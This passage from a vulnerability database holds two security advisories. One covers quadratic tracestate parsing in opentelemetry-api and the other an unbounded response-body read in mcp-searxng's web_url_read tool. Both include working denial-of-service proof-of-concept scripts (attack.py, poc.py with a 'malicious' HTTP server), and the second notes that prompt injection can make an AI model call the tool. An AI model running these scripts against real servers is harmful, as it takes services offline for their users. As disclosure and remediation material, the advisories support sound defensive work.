tracestate has no equivalent\n _logger.warning(...)\n return context\n```\n\nA 16 KiB header costs \u2248 0.25 s and an 8 KiB header \u2248 0.07 s.\nMeasured cost of `extract()` on one core (valid `traceparent`, `tracestate: \"a=b\" + N spaces + \"x\"`): the time quadruples each time N doubles (see the proof of concept). Roughly 0.06 s at 10,000 characters, 1 s at 40,000, 4 s at 80,000, 9 s at 100,000 (tabs are about 1.6\u00d7 slower). \n\nWhether a server lets such a header through (header-size limits, tested): gunicorn rejects \u2265 8190 bytes (response code 431); `uvicorn --http h11` rejects above 16 KiB (400); waitress accepts up to 256 KiB (200 KB accepted, 300 KB rejected); `uvicorn --http httptools` \u2014 the default parser with `uvicorn[standard]` \u2014 accepted 300 KB, 1 MB, 5 MB and 20 MB `tracestate` headers.\n\n## Proof of concept\n\n### A. Show the quadratic cost (no server needed)\n\n1. Install the API: `pip install opentelemetry-api` (any version from 1.0 up to the current main is affected).\n2. Save as `poc_tracestate.py`:\n```python\nimport logging\nimport time\n\nfrom opentelemetry.trace.propagation.tracecontext import TraceContextTextMapPropagator\n\n# The library logs the whole malformed member at WARNING; silence it so the timings stay readable.\nlogging.disable(logging.CRITICAL)\n\nTRACEPARENT = \"00-0af7651916cd43dd8448eb211c80319c-b7ad6b7169203331-01\"\npropagator = TraceContextTextMapPropagator()\n\nprevious = None\nfor n in (10_000, 20_000, 40_000, 80_000):\n # N spaces after a valid member, no comma anywhere in the header\n carrier = {\"traceparent\": TRACEPARENT, \"tracestate\": \"a=b\" + \" \" * n + \"x\"}\n start = time.perf_counter()\n propagator.extract(carrier)\n elapsed = time.perf_counter() - start\n growth = f\"x{elapsed / previous:.1f}\" if previous else \"-\"\n print(f\"{n:\u003e7} characters {elapsed:6.2f} s growth when size doubles: {growth}\")\n previous = elapsed\n```\n3. Run `python poc_tracestate.py`.\n4. **What to observe:** the time grows by about **\u00d74 every time the input size doubles** (a linear parser would show \u00d72). Absolute numbers depend on the CPU; the growth factor does not. Our run:\n```\n 10000 characters 0.06 s growth when size doubles: -\n 20000 characters 0.26 s growth when size doubles: x4.0\n 40000 characters 1.04 s growth when size doubles: x4.0\n 80000 characters 4.13 s growth when size doubles: x4.0\n```\nReplace `\" \"` with `\"\\t\"` to see \u22481.6\u00d7 longer.\n\n### B. Show that one request stalls a real server\nThis uses `OpenTelemetryMiddleware` from `opentelemetry-instrumentation-asgi` around a trivial ASGI app and the default `uvicorn[standard]` parser (httptools).\n\n1. Install: `pip install opentelemetry-api opentelemetry-instrumentation-asgi \"uvicorn[standard]\"`.\n2. Save as `app.py`:\n```python\nfrom opentelemetry.instrumentation.asgi import OpenTelemetryMiddleware\n\n\nasync def app(scope, receive, send):\n await send({\"type\": \"http.response.start\", \"status\": 200, \"headers\": [(b\"content-type\", b\"text/plain\")]})\n await send({\"type\": \"http.response.body\", \"body\": b\"ok\"})\n\n\napp = OpenTelemetryMiddleware(app)\n```\n3. Start the server in one terminal: `uvicorn app:app --host 127.0.0.1 --port 8000 --http httptools`\n4. Save as `attack.py`:\n```python\n\"\"\"Send one oversized tracestate request and, while it is being handled,\nmeasure how long an unrelated request to the same server has to wait.\"\"\"\nimport socket\nimport sys\nimport threading\nimport time\n\nHOST, PORT = \"127.0.0.1\", 8000\nN = int(sys.argv[1]) if len(sys.argv) \u003e 1 else 100_000\nTRACEPARENT = \"00-0af7651916cd43dd8448eb211c80319c-b7ad6b7169203331-01\"\n\n\ndef get(path, extra=\"\"):\n s = socket.create_connection((HOST, PORT), timeout=120)\n s.sendall(f\"GET {path} HTTP/1.1\\r\\nHost: x\\r\\nConnection: close\\r\\n{extra}\\r\\n\".encode())\n start, data = time.perf_counter(), b\"\"\n while chunk := s.recv(65536):\n data += chunk\n return time.perf_counter() - start, data.split(b\"\\r\\n\")[0].decode()\n\n\nresult = {}\nextra = f\"traceparent: {TRACEPARENT}\\r\\ntracestate: a=b{\u0027 \u0027 * N}x\\r\\n\"\nattacker = threading.Thread(target=lambda: result.update(a=get(\"/attack\", extra)))\nprint(\"idle /ping: %.3f s %s\" % get(\"/ping\"))\nattacker.start()\ntime.sleep(0.5) # let the attack request reach the server first\nprint(\"/ping during the attack: %.3f s %s\" % get(\"/ping\"))\nattacker.join()\nprint(\"attack request itself: %.3f s %s\" % result[\"a\"])\n```\n5. In a second terminal run `python attack.py 100000`.\n6. **What to observe:** the idle `/ping` answers in milliseconds, but a `/ping` sent half a second *after* the attack request has to wait for the attack request to finish, even though it is a different, innocent request. Our run:\n```\nidle /ping: 0.000 s HTTP/1.1 200 OK\n/ping during the attack: 5.909 s HTTP/1.1 200 OK \u003c-- unrelated request delayed ~6 s (event loop blocked)\nattack request itself: 6.408 s HTTP/1.1 200 OK\n```\n7. Start the server with `--http h11` instead and run the same command: the attack request is rejected immediately (`400 Bad Request`, h11 header cap) and `/ping` is not delayed. Our measurements for `--http httptools`: 30,000 spaces \u2192 0.59 s; 100,000 spaces \u2192 6.57 s with the concurrent `/ping` delayed 6.07 s; 100,000 tabs \u2192 12.39 s with the concurrent `/ping` delayed 11.89 s.\n\n## Severity\n**Likelihood: Low.** Any unauthenticated client can trigger it with one request on the default propagators, but only on servers that accept headers larger than roughly 16\u201330 KB.\n\n**Impact: Medium.** One request of about 100 KB costs 6\u201312 s of server CPU and, under an asyncio server, stalls every other connection for that time; repeating it keeps the service unavailable.\n\n**Severity: Medium.**\n\n## Suggested remediation\nReplace the regex split with a plain `split` and strip; this removes the quadratic behaviour and is equivalent on valid input:\n```diff\n--- a/opentelemetry-api/src/opentelemetry/trace/span.py\n+++ b/opentelemetry-api/src/opentelemetry/trace/span.py\n@@ def from_header(cls, header_list: list[str]) -\u003e TraceState:\n for header in header_list:\n- members: list[str] = re.split(_delimiter_pattern, header)\n+ members: list[str] = [m.strip(\" \\t\") for m in header.split(\",\")]\n```\n`_delimiter_pattern` (line 46) is then unused and can be removed. We also suggest rejecting a header longer than the W3C limit (512 characters for the list) before parsing, the way the baggage propagator does with `_MAX_HEADER_LENGTH`. On valid input the two forms return identical members (empty members preserved); the only behaviour change is that a header with leading whitespace is now accepted instead of producing an empty `TraceState`, which is more spec-compliant. Cost at N = 100,000 drops from ~9 s to ~5e-5 s.\n\n## Credit\n\nDiscovered and reported by SecDim Security Research\nsecdim.com | @secdim | security@secdim.com\n\n---\n\n**FROM MAINTAINERS**\n\n## Summary\n\n`TraceState.from_header()` in `opentelemetry-api` used a regular-expression-based operation whose processing time could grow disproportionately when parsing specially crafted inbound `tracestate` headers.\n\nBecause W3C Trace Context is enabled by default in OpenTelemetry Python, services accepting untrusted propagation headers could spend excessive CPU time processing a single request.\n\n## Impact\n\nServices accepting untrusted inbound propagation headers may experience increased per-request CPU usage when processing malformed `tracestate` values. In synchronous servers, this may keep a worker occupied. In asynchronous servers, CPU-intensive parsing may delay other requests handled by the same event loop.\n\nThe practical impact depends on the HTTP server, HTTP parser, and any upstream request-header limits. Common servers and proxies may reject oversized headers before they reach the application, while custom carriers or deployments with increased header limits may accept substantially larger values.\n\nUnlike optional propagation formats, W3C Trace Context is part of the default OpenTelemetry Python propagation configuration.\n\nThe impact is limited to availability. This issue does not expose or modify telemetry data and does not allow code execution.\n\n## Patches\n\nVersions of `opentelemetry-api` up to and including `1.45.0` are affected.\n\nUpgrade `opentelemetry-api` to version `1.45.1` or later.\n\nVersion `1.45.1` replaces the affected parsing operation with linear-time processing and discards combined `tracestate` headers longer than 8,192 characters.\n\n## Workarounds\n\nEnsure HTTP header size limits are configured at the server or gateway level. Most Python HTTP servers enforce an 8 KiB header limit by default, which mitigates external attack vectors independently of this fix.",
"id": "GHSA-xcq7-p3pf-p88h",
"modified": "2026-10-22T16:22:07Z",
"published": "2026-10-22T16:22:07Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/open-telemetry/opentelemetry-python/security/advisories/GHSA-xcq7-p3pf-p88h"
},
{
"type": "WEB",
"url": "https://github.com/open-telemetry/opentelemetry-python/pull/5749"
},
{
"type": "WEB",
"url": "https://github.com/open-telemetry/opentelemetry-python/commit/d5224bf4ffdf2aee1b592ad238dcc32ca957f26b"
},
{
"type": "PACKAGE",
"url": "https://github.com/open-telemetry/opentelemetry-python"
},
{
"type": "WEB",
"url": "https://github.com/open-telemetry/opentelemetry-python/blob/main/CHANGELOG.md#version-1451066b1-2026-10-06"
},
{
"type": "WEB",
"url": "https://github.com/open-telemetry/opentelemetry-python/releases/tag/v1.45.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "OpenTelemetry Python: Unbounded tracestate parsing in opentelemetry-api"
}
GHSA-XCQX-9JF5-W339
Vulnerability from github – Published: 2026-06-19 21:42 – Updated: 2026-06-19 21:42Unbounded Response Body Read Bypasses URL Size Limit in web_url_read
Summary
The web_url_read MCP tool in mcp-searxng enforces its 5 MiB response-size limit exclusively by inspecting the Content-Length header of a preliminary HEAD request. When a server omits Content-Length — a standard HTTP practice — checkContentLength() returns null, the guard condition short-circuits to false, and response.text() loads the entire response body into memory without any byte cap. An unauthenticated attacker who controls or can redirect to an HTTP endpoint can force the server process to consume unbounded memory and CPU, leading to a Denial of Service.
Details
web_url_read is the entry point (src/index.ts:226-240). It passes the caller-supplied URL directly into readUrlContent() in src/url-reader.ts.
Size-limit check (bypassed)
// src/url-reader.ts:352-360
const contentLength = await checkContentLength(...);
if (contentLength !== null && contentLength > maxContentLengthBytes) {
return createContentTooLargeMessage(contentLength, maxContentLengthBytes);
}
checkContentLength() (src/url-reader.ts:243-245) returns null when the HEAD response carries no Content-Length header. Because the guard uses the !== null conjunction, a null result causes the entire check to evaluate as false, and execution falls through without enforcing the configured 5 MiB ceiling.
Unbounded sinks
A full GET request is then issued (src/url-reader.ts:367) with no streaming byte cap:
// src/url-reader.ts:414 — normal response path
htmlContent = await response.text();
// src/url-reader.ts:402 — error response path (same issue)
responseBody = await response.text();
The full HTML string is subsequently passed to NodeHtmlMarkdown.translate() (src/url-reader.ts:429), which amplifies CPU consumption proportional to the body size.
Default exposure
web_url_read is enabled by default. In HTTP transport mode, authentication is disabled by default, so AV:N/PR:N applies unconditionally. In stdio mode, an attacker can trigger the path via prompt injection to cause the AI model to call the tool with an attacker-controlled URL.
PoC
Prerequisites
- Docker installed.
- Build context: the repository root (
npmAI_249_ihor-sokoliuk__mcp-searxng/).
Build the image
docker build \
-t vuln002-test \
-f vuln-002/Dockerfile \
reports/npmAI_249_ihor-sokoliuk__mcp-searxng/
Run the PoC
docker run --rm vuln002-test
The container starts two processes:
1. A malicious HTTP server on 127.0.0.1:9799 that responds to HEAD with HTTP 200 and no Content-Length, then responds to GET with a 6,291,456-byte HTML body and no Content-Length.
2. mcp-searxng in HTTP mode (MCP_HTTP_ALLOW_PRIVATE_URLS=true enables loopback URLs for local reproduction).
The PoC script initializes an MCP session and calls:
{
"method": "tools/call",
"params": {
"name": "web_url_read",
"arguments": { "url": "http://127.0.0.1:9799/", "maxLength": 1 }
}
}
Observed output (Phase 2 confirmation)
HEAD_REQUESTS : 1
GET_REQUESTS : 1
GET_BYTES_SENT : 6,291,456
CONFIGURED_DEFAULT_LIMIT : 5,242,880
BYTES_OVER_LIMIT : +1,048,576
ELAPSED_SEC : 0.17
TOOL_STATUS : SUCCESS
RETURNED_LENGTH_CHARS : 1
[PASS] VULNERABILITY CONFIRMED
6,291,456 bytes were transmitted to mcp-searxng despite a 5,242,880-byte (5 MiB) limit.
Root cause confirmed:
1. HEAD response had no Content-Length header.
2. checkContentLength() returned null (url-reader.ts:243-245)
3. Guard condition was false (null !== null => false) (url-reader.ts:359)
4. response.text() read 6,291,456 bytes without a cap (url-reader.ts:414)
Remediation
Replace both response.text() calls with a streaming reader that aborts once the byte counter exceeds maxContentLengthBytes:
+async function readResponseTextWithLimit(response: Response, maxBytes: number): Promise<string | null> {
+ if (!response.body) return response.text();
+ const reader = response.body.getReader();
+ const decoder = new TextDecoder();
+ const chunks: string[] = [];
+ let total = 0;
+ while (true) {
+ const { done, value } = await reader.read();
+ if (done) break;
+ total += value.byteLength;
+ if (total > maxBytes) { await reader.cancel(); return null; }
+ chunks.push(decoder.decode(value, { stream: true }));
+ }
+ chunks.push(decoder.decode());
+ return chunks.join("");
+}
- responseBody = await response.text();
+ responseBody = await readResponseTextWithLimit(response, maxContentLengthBytes)
+ ?? "[Response body exceeded configured size limit]";
- htmlContent = await response.text();
+ const limitedBody = await readResponseTextWithLimit(response, maxContentLengthBytes);
+ if (limitedBody === null) {
+ return createContentTooLargeMessage(maxContentLengthBytes + 1, maxContentLengthBytes);
+ }
+ htmlContent = limitedBody;
Impact
This is an Uncontrolled Resource Consumption (DoS) vulnerability. Any network-reachable attacker who can supply a URL to the web_url_read tool can force the mcp-searxng process to allocate memory proportional to an arbitrarily large HTTP response body and burn CPU during HTML-to-Markdown conversion. The attack requires no authentication in the default HTTP transport configuration. In stdio mode, the attack surface is accessible through prompt injection targeting the AI agent. Repeated or concurrent invocations can exhaust process memory and render the MCP server unavailable to all legitimate users.
Reproduction artifacts
Dockerfile
FROM node:20-slim
# Install Python3 for the PoC script
RUN apt-get update && apt-get install -y --no-install-recommends python3 \
&& rm -rf /var/lib/apt/lists/*
# Copy repository source and build the vulnerable mcp-searxng
# Build context: parent directory (npmAI_249_ihor-sokoliuk__mcp-searxng/)
WORKDIR /app
COPY repo/ /app/
RUN npm ci && npm run build
# Copy the PoC script
COPY vuln-002/poc.py /poc.py
# Run the dynamic reproduction PoC
CMD ["python3", "-u", "/poc.py"]
poc.py
#!/usr/bin/env python3
"""
PoC for VULN-002: Unbounded Response Body Read Bypasses URL Size Limit (CWE-400)
Affected: ihor-sokoliuk/mcp-searxng v1.6.0
File: src/url-reader.ts:414 (response.text())
CWE: CWE-400 Uncontrolled Resource Consumption
CVSS: 7.5 High (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
Root cause:
checkContentLength() at src/url-reader.ts:243-245 returns null when the
server sends no Content-Length header. The guard at line 359:
if (contentLength !== null && contentLength > maxContentLengthBytes)
evaluates to false (null !== null => false), so the check is skipped.
response.text() at line 414 then reads the full body without any byte cap.
Reproduction:
1. Malicious HTTP server (this process, port 9799):
HEAD => 200, Content-Type only, NO Content-Length
GET => 200, 6+ MiB HTML body, NO Content-Length
2. mcp-searxng (subprocess, HTTP mode, port 3000):
MCP_HTTP_ALLOW_PRIVATE_URLS=true -- allows 127.x for local PoC
3. This script initializes an MCP session, calls web_url_read pointing
at the malicious server, and measures actual bytes transmitted.
Expected evidence:
GET_BYTES_SENT > CONFIGURED_DEFAULT_LIMIT (5242880)
=> The 5 MiB guard was bypassed; full body was consumed without a cap.
"""
import json
import os
import socket
import subprocess
import sys
import threading
import time
import urllib.error
import urllib.request
from http.server import BaseHTTPRequestHandler, HTTPServer
# ---------------------------------------------------------------------------
# Constants
# ---------------------------------------------------------------------------
DEFAULT_MAX_CONTENT_LENGTH = 5 * 1024 * 1024 # 5 MiB (same as src/url-reader.ts)
BODY_SIZE_BYTES = 6 * 1024 * 1024 # 6 MiB — exceeds the configured limit
EVIL_PORT = 9799
MCP_PORT = 3000
# ---------------------------------------------------------------------------
# Shared state — updated by the malicious server thread
# ---------------------------------------------------------------------------
g_bytes_sent = 0
g_head_count = 0
g_get_count = 0
# ---------------------------------------------------------------------------
# Malicious HTTP server
# ---------------------------------------------------------------------------
class MaliciousHandler(BaseHTTPRequestHandler):
"""
Simulates an attacker-controlled HTTP server that:
- Returns 200 for HEAD with NO Content-Length (triggers null in checkContentLength)
- Returns 200 for GET with a 6 MiB body and NO Content-Length
(triggers unbounded response.text() read)
"""
# Use HTTP/1.0 so the connection closes after the body — no Content-Length needed.
protocol_version = "HTTP/1.0"
def log_message(self, fmt, *args): # suppress default per-request logging
pass
def do_HEAD(self):
global g_head_count
g_head_count += 1
print(
f"[EVIL-SERVER] HEAD #{g_head_count} from {self.address_string()}"
" — responding 200 with NO Content-Length (triggers null in checkContentLength)",
flush=True,
)
self.send_response(200)
self.send_header("Content-Type", "text/html; charset=utf-8")
# Deliberately omitting Content-Length — this is the bypass trigger
self.end_headers()
def do_GET(self):
global g_get_count, g_bytes_sent
g_get_count += 1
print(
f"[EVIL-SERVER] GET #{g_get_count} from {self.address_string()}"
f" — streaming {BODY_SIZE_BYTES:,} bytes with NO Content-Length",
flush=True,
)
self.send_response(200)
self.send_header("Content-Type", "text/html; charset=utf-8")
# Deliberately NO Content-Length header
self.end_headers()
# Build a simple but large HTML body that exceeds DEFAULT_MAX_CONTENT_LENGTH.
# Simple structure keeps NodeHtmlMarkdown conversion fast.
header = b"<html><body><pre>"
footer = b"</pre></body></html>"
payload_char = b"A"
target = BODY_SIZE_BYTES - len(header) - len(footer)
chunk_size = 65536 # 64 KiB chunks
total = 0
try:
self.wfile.write(header)
total += len(header)
while total < BODY_SIZE_BYTES - len(footer):
chunk = payload_char * min(chunk_size, BODY_SIZE_BYTES - len(footer) - total)
self.wfile.write(chunk)
total += len(chunk)
self.wfile.write(footer)
total += len(footer)
except (BrokenPipeError, OSError):
pass # client may close early on abort
g_bytes_sent = total
print(f"[EVIL-SERVER] Done. Total bytes sent: {g_bytes_sent:,}", flush=True)
def run_evil_server():
srv = HTTPServer(("127.0.0.1", EVIL_PORT), MaliciousHandler)
srv.serve_forever()
# ---------------------------------------------------------------------------
# Helpers
# ---------------------------------------------------------------------------
def wait_for_port(host: str, port: int, timeout: float = 30) -> bool:
deadline = time.monotonic() + timeout
while time.monotonic() < deadline:
try:
with socket.create_connection((host, port), timeout=1):
return True
except (ConnectionRefusedError, OSError):
time.sleep(0.3)
return False
def http_post(url: str, payload: dict, session_id: str | None = None, timeout: float = 120) -> tuple[bytes, str, str | None]:
"""POST a JSON-RPC payload to the MCP HTTP endpoint. Returns (body, content_type, session_id)."""
headers = {
"Content-Type": "application/json",
"Accept": "application/json, text/event-stream",
}
if session_id:
headers["mcp-session-id"] = session_id
data = json.dumps(payload).encode()
req = urllib.request.Request(url, data=data, headers=headers, method="POST")
with urllib.request.urlopen(req, timeout=timeout) as resp:
body = resp.read()
ct = resp.headers.get("content-type", "")
sid = resp.headers.get("mcp-session-id")
return body, ct, sid
def parse_mcp_response(body: bytes, content_type: str) -> dict | None:
"""Parse a JSON or SSE-wrapped JSON-RPC response."""
if "text/event-stream" in content_type:
for line in body.decode(errors="replace").splitlines():
if line.startswith("data: "):
try:
return json.loads(line[6:])
except json.JSONDecodeError:
continue
return None
try:
return json.loads(body)
except json.JSONDecodeError:
# Fallback: try SSE even if content-type says JSON
for line in body.decode(errors="replace").splitlines():
if line.startswith("data: "):
try:
return json.loads(line[6:])
except json.JSONDecodeError:
continue
return None
# ---------------------------------------------------------------------------
# Main PoC
# ---------------------------------------------------------------------------
def main():
print("=" * 72, flush=True)
print("VULN-002 PoC — Unbounded Response Body Read Bypasses URL Size Limit", flush=True)
print("=" * 72, flush=True)
print(f" DEFAULT_MAX_CONTENT_LENGTH_BYTES : {DEFAULT_MAX_CONTENT_LENGTH:,}", flush=True)
print(f" EVIL_BODY_SIZE_BYTES : {BODY_SIZE_BYTES:,}", flush=True)
print(f" BYTES_OVER_LIMIT : +{BODY_SIZE_BYTES - DEFAULT_MAX_CONTENT_LENGTH:,}", flush=True)
print(flush=True)
# ------------------------------------------------------------------
# Step 1: Start the malicious HTTP server
# ------------------------------------------------------------------
print(f"[*] Starting malicious HTTP server on 127.0.0.1:{EVIL_PORT} ...", flush=True)
evil_thread = threading.Thread(target=run_evil_server, daemon=True)
evil_thread.start()
if not wait_for_port("127.0.0.1", EVIL_PORT, timeout=5):
print("[ERROR] Malicious server failed to start within 5 s", flush=True)
sys.exit(1)
print("[+] Malicious server ready", flush=True)
# ------------------------------------------------------------------
# Step 2: Start mcp-searxng in HTTP mode
# ------------------------------------------------------------------
print(f"[*] Starting mcp-searxng HTTP server on 127.0.0.1:{MCP_PORT} ...", flush=True)
env = {
**os.environ,
"MCP_HTTP_PORT" : str(MCP_PORT),
"MCP_HTTP_HOST" : "127.0.0.1",
"SEARXNG_URL" : "http://127.0.0.1:8080", # not used in this test
# Allow 127.x URLs so the PoC can point at the local malicious server.
# (Real attacks target public servers — this env var enables local reproduction.)
"MCP_HTTP_ALLOW_PRIVATE_URLS": "true",
"NODE_ENV" : "production",
}
proc = subprocess.Popen(
["node", "/app/dist/cli.js"],
env=env,
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
)
def stream_server_logs():
for line in proc.stdout:
print(f"[MCP-SERVER] {line.decode(errors='replace').rstrip()}", flush=True)
log_thread = threading.Thread(target=stream_server_logs, daemon=True)
log_thread.start()
if not wait_for_port("127.0.0.1", MCP_PORT, timeout=20):
print("[ERROR] mcp-searxng HTTP server failed to start within 20 s", flush=True)
proc.terminate()
sys.exit(1)
print("[+] mcp-searxng HTTP server ready", flush=True)
mcp_url = f"http://127.0.0.1:{MCP_PORT}/mcp"
# ------------------------------------------------------------------
# Step 3: Initialize MCP session
# ------------------------------------------------------------------
print("[*] Initializing MCP session ...", flush=True)
init_body, init_ct, session_id = http_post(
mcp_url,
payload={
"jsonrpc": "2.0",
"id": 1,
"method": "initialize",
"params": {
"protocolVersion": "2024-11-05",
"capabilities": {},
"clientInfo": {"name": "vuln002-poc", "version": "1.0"},
},
},
)
init_resp = parse_mcp_response(init_body, init_ct)
if not init_resp or "result" not in init_resp:
print(f"[ERROR] initialize failed: {init_body[:400]}", flush=True)
proc.terminate()
sys.exit(1)
print(f"[+] Session initialized. session_id={session_id}", flush=True)
# Send notifications/initialized (no response expected — ignore errors)
try:
http_post(
mcp_url,
session_id=session_id,
payload={"jsonrpc": "2.0", "method": "notifications/initialized"},
timeout=10,
)
except Exception:
pass # 202 with empty body or similar non-error responses
# ------------------------------------------------------------------
# Step 4: Call web_url_read pointing at the malicious server
# ------------------------------------------------------------------
evil_url = f"http://127.0.0.1:{EVIL_PORT}/"
print(flush=True)
print(f"[*] Calling web_url_read with URL: {evil_url}", flush=True)
print(f" HEAD response will have NO Content-Length", flush=True)
print(f" => checkContentLength() returns null", flush=True)
print(f" => guard at url-reader.ts:359 is bypassed", flush=True)
print(f" => response.text() at url-reader.ts:414 reads ALL {BODY_SIZE_BYTES:,} bytes", flush=True)
t_start = time.monotonic()
try:
tool_body, tool_ct, _ = http_post(
mcp_url,
session_id=session_id,
payload={
"jsonrpc": "2.0",
"id": 2,
"method": "tools/call",
"params": {
"name": "web_url_read",
"arguments": {"url": evil_url, "maxLength": 1},
},
},
timeout=120,
)
elapsed = time.monotonic() - t_start
tool_resp = parse_mcp_response(tool_body, tool_ct)
except urllib.error.HTTPError as e:
elapsed = time.monotonic() - t_start
tool_resp = parse_mcp_response(e.read(), e.headers.get("content-type", ""))
except Exception as e:
elapsed = time.monotonic() - t_start
print(f"[WARN] tool call exception: {e}", flush=True)
tool_resp = None
# Give the evil server thread a moment to flush its final log
time.sleep(0.5)
# ------------------------------------------------------------------
# Step 5: Collect and report evidence
# ------------------------------------------------------------------
print(flush=True)
print("=" * 72, flush=True)
print("[EVIDENCE]", flush=True)
print(f" HEAD_REQUESTS : {g_head_count}", flush=True)
print(f" GET_REQUESTS : {g_get_count}", flush=True)
print(f" GET_BYTES_SENT : {g_bytes_sent:,}", flush=True)
print(f" CONFIGURED_DEFAULT_LIMIT : {DEFAULT_MAX_CONTENT_LENGTH:,}", flush=True)
print(
f" BYTES_OVER_LIMIT : {g_bytes_sent - DEFAULT_MAX_CONTENT_LENGTH:+,}",
flush=True,
)
print(f" ELAPSED_SEC : {elapsed:.2f}", flush=True)
if tool_resp:
if "error" in tool_resp:
err = tool_resp["error"]
print(
f" TOOL_STATUS : ERROR code={err.get('code')} "
f"msg={str(err.get('message', ''))[:120]}",
flush=True,
)
elif "result" in tool_resp:
content = tool_resp["result"].get("content", [])
text = content[0].get("text", "") if content else ""
print(f" TOOL_STATUS : SUCCESS", flush=True)
print(f" RETURNED_LENGTH_CHARS : {len(text)}", flush=True)
print(f" RETURNED_EXCERPT : {repr(text[:80])}", flush=True)
else:
print(f" TOOL_STATUS : (raw) {tool_body[:200] if tool_body else b'<no body>'}", flush=True)
print("=" * 72, flush=True)
# ------------------------------------------------------------------
# Verdict
# ------------------------------------------------------------------
bypass_confirmed = g_bytes_sent > DEFAULT_MAX_CONTENT_LENGTH
if bypass_confirmed:
print(flush=True)
print("[PASS] VULNERABILITY CONFIRMED", flush=True)
print(
f" {g_bytes_sent:,} bytes were transmitted to mcp-searxng despite a "
f"{DEFAULT_MAX_CONTENT_LENGTH:,}-byte ({DEFAULT_MAX_CONTENT_LENGTH // (1024*1024)} MiB) limit.",
flush=True,
)
print(f" Root cause confirmed:", flush=True)
print(f" 1. HEAD response had no Content-Length header.", flush=True)
print(f" 2. checkContentLength() returned null (url-reader.ts:243-245)", flush=True)
print(f" 3. Guard condition was false (null !== null => false) (url-reader.ts:359)", flush=True)
print(f" 4. response.text() read {g_bytes_sent:,} bytes without a cap (url-reader.ts:414)", flush=True)
proc.terminate()
sys.exit(0)
else:
print(flush=True)
if g_get_count == 0:
print("[FAIL] GET request was never received — mcp-searxng did not fetch from the evil server", flush=True)
else:
print(
f"[FAIL] GET request received but bytes_sent={g_bytes_sent:,} <= limit={DEFAULT_MAX_CONTENT_LENGTH:,}",
flush=True,
)
proc.terminate()
sys.exit(1)
if __name__ == "__main__":
main()
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "mcp-searxng"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.7.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-19T21:42:43Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Unbounded Response Body Read Bypasses URL Size Limit in `web_url_read`\n\n### Summary\n\nThe `web_url_read` MCP tool in mcp-searxng enforces its 5 MiB response-size limit exclusively by inspecting the `Content-Length` header of a preliminary HEAD request. When a server omits `Content-Length` \u2014 a standard HTTP practice \u2014 `checkContentLength()` returns `null`, the guard condition short-circuits to `false`, and `response.text()` loads the entire response body into memory without any byte cap. An unauthenticated attacker who controls or can redirect to an HTTP endpoint can force the server process to consume unbounded memory and CPU, leading to a Denial of Service.\n\n### Details\n\n`web_url_read` is the entry point (`src/index.ts:226-240`). It passes the caller-supplied URL directly into `readUrlContent()` in `src/url-reader.ts`.\n\n**Size-limit check (bypassed)**\n\n```ts\n// src/url-reader.ts:352-360\nconst contentLength = await checkContentLength(...);\nif (contentLength !== null \u0026\u0026 contentLength \u003e maxContentLengthBytes) {\n return createContentTooLargeMessage(contentLength, maxContentLengthBytes);\n}\n```\n\n`checkContentLength()` (`src/url-reader.ts:243-245`) returns `null` when the HEAD response carries no `Content-Length` header. Because the guard uses the `!== null` conjunction, a `null` result causes the entire check to evaluate as `false`, and execution falls through without enforcing the configured 5 MiB ceiling.\n\n**Unbounded sinks**\n\nA full GET request is then issued (`src/url-reader.ts:367`) with no streaming byte cap:\n\n```ts\n// src/url-reader.ts:414 \u2014 normal response path\nhtmlContent = await response.text();\n\n// src/url-reader.ts:402 \u2014 error response path (same issue)\nresponseBody = await response.text();\n```\n\nThe full HTML string is subsequently passed to `NodeHtmlMarkdown.translate()` (`src/url-reader.ts:429`), which amplifies CPU consumption proportional to the body size.\n\n**Default exposure**\n\n`web_url_read` is enabled by default. In HTTP transport mode, authentication is disabled by default, so `AV:N/PR:N` applies unconditionally. In stdio mode, an attacker can trigger the path via prompt injection to cause the AI model to call the tool with an attacker-controlled URL.\n\n### PoC\n\n**Prerequisites**\n\n- Docker installed.\n- Build context: the repository root (`npmAI_249_ihor-sokoliuk__mcp-searxng/`).\n\n**Build the image**\n\n```bash\ndocker build \\\n -t vuln002-test \\\n -f vuln-002/Dockerfile \\\n reports/npmAI_249_ihor-sokoliuk__mcp-searxng/\n```\n\n**Run the PoC**\n\n```bash\ndocker run --rm vuln002-test\n```\n\nThe container starts two processes:\n1. A malicious HTTP server on `127.0.0.1:9799` that responds to HEAD with HTTP 200 and **no `Content-Length`**, then responds to GET with a 6,291,456-byte HTML body and **no `Content-Length`**.\n2. mcp-searxng in HTTP mode (`MCP_HTTP_ALLOW_PRIVATE_URLS=true` enables loopback URLs for local reproduction).\n\nThe PoC script initializes an MCP session and calls:\n\n```json\n{\n \"method\": \"tools/call\",\n \"params\": {\n \"name\": \"web_url_read\",\n \"arguments\": { \"url\": \"http://127.0.0.1:9799/\", \"maxLength\": 1 }\n }\n}\n```\n\n**Observed output (Phase 2 confirmation)**\n\n```\nHEAD_REQUESTS : 1\nGET_REQUESTS : 1\nGET_BYTES_SENT : 6,291,456\nCONFIGURED_DEFAULT_LIMIT : 5,242,880\nBYTES_OVER_LIMIT : +1,048,576\nELAPSED_SEC : 0.17\nTOOL_STATUS : SUCCESS\nRETURNED_LENGTH_CHARS : 1\n\n[PASS] VULNERABILITY CONFIRMED\n 6,291,456 bytes were transmitted to mcp-searxng despite a 5,242,880-byte (5 MiB) limit.\n Root cause confirmed:\n 1. HEAD response had no Content-Length header.\n 2. checkContentLength() returned null (url-reader.ts:243-245)\n 3. Guard condition was false (null !== null =\u003e false) (url-reader.ts:359)\n 4. response.text() read 6,291,456 bytes without a cap (url-reader.ts:414)\n```\n\n**Remediation**\n\nReplace both `response.text()` calls with a streaming reader that aborts once the byte counter exceeds `maxContentLengthBytes`:\n\n```diff\n+async function readResponseTextWithLimit(response: Response, maxBytes: number): Promise\u003cstring | null\u003e {\n+ if (!response.body) return response.text();\n+ const reader = response.body.getReader();\n+ const decoder = new 